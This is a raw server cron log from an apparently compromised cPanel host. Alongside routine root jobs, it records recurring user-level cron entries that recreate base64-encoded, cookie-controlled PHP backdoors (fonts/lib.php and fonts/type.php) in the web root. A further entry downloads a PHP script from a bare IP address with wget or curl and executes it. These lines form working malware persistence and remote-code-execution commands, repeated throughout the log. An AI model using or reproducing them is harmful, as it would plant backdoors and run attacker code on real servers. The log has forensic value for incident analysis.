Sep  8 05:00:01 ip-184-168-122-23 CROND[14700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:00:01 ip-184-168-122-23 CROND[14704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:00:01 ip-184-168-122-23 CROND[14703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:00:01 ip-184-168-122-23 CROND[14706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:00:01 ip-184-168-122-23 CROND[14707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:00:01 ip-184-168-122-23 CROND[14705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:01:02 ip-184-168-122-23 CROND[14881]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14881]: starting 0anacron
Sep  8 05:01:02 ip-184-168-122-23 CROND[14888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:01:02 ip-184-168-122-23 CROND[14890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:01:02 ip-184-168-122-23 CROND[14892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:01:02 ip-184-168-122-23 CROND[14893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:01:02 ip-184-168-122-23 CROND[14895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14897]: finished 0anacron
Sep  8 05:02:02 ip-184-168-122-23 CROND[15003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:02:02 ip-184-168-122-23 CROND[15005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:02:02 ip-184-168-122-23 CROND[15006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:02:02 ip-184-168-122-23 CROND[15009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:02:02 ip-184-168-122-23 CROND[15007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:03:01 ip-184-168-122-23 CROND[15158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:03:01 ip-184-168-122-23 CROND[15159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:03:01 ip-184-168-122-23 CROND[15157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:03:01 ip-184-168-122-23 CROND[15160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:04:01 ip-184-168-122-23 CROND[15270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:04:01 ip-184-168-122-23 CROND[15272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:04:01 ip-184-168-122-23 CROND[15275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:04:01 ip-184-168-122-23 CROND[15276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:04:01 ip-184-168-122-23 CROND[15273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:05:01 ip-184-168-122-23 CROND[15403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:05:01 ip-184-168-122-23 CROND[15404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:05:01 ip-184-168-122-23 CROND[15405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:05:01 ip-184-168-122-23 CROND[15406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:05:01 ip-184-168-122-23 CROND[15407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:05:01 ip-184-168-122-23 CROND[15409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:05:01 ip-184-168-122-23 CROND[15410]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:06:01 ip-184-168-122-23 CROND[15593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:06:01 ip-184-168-122-23 CROND[15594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:06:01 ip-184-168-122-23 CROND[15595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:06:01 ip-184-168-122-23 CROND[15598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:06:01 ip-184-168-122-23 CROND[15600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:07:01 ip-184-168-122-23 CROND[15810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:07:01 ip-184-168-122-23 CROND[15812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:07:01 ip-184-168-122-23 CROND[15813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:07:01 ip-184-168-122-23 CROND[15811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:08:01 ip-184-168-122-23 CROND[15936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:08:01 ip-184-168-122-23 CROND[15937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:08:01 ip-184-168-122-23 CROND[15940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:08:01 ip-184-168-122-23 CROND[15939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:08:01 ip-184-168-122-23 CROND[15941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:09:01 ip-184-168-122-23 CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 05:09:01 ip-184-168-122-23 CROND[16053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:09:01 ip-184-168-122-23 CROND[16055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:09:01 ip-184-168-122-23 CROND[16060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:09:01 ip-184-168-122-23 CROND[16062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:10:01 ip-184-168-122-23 CROND[16189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:10:01 ip-184-168-122-23 CROND[16192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:11:01 ip-184-168-122-23 CROND[16898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:11:01 ip-184-168-122-23 CROND[16902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:11:01 ip-184-168-122-23 CROND[16901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:11:01 ip-184-168-122-23 CROND[16903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:12:01 ip-184-168-122-23 CROND[17142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
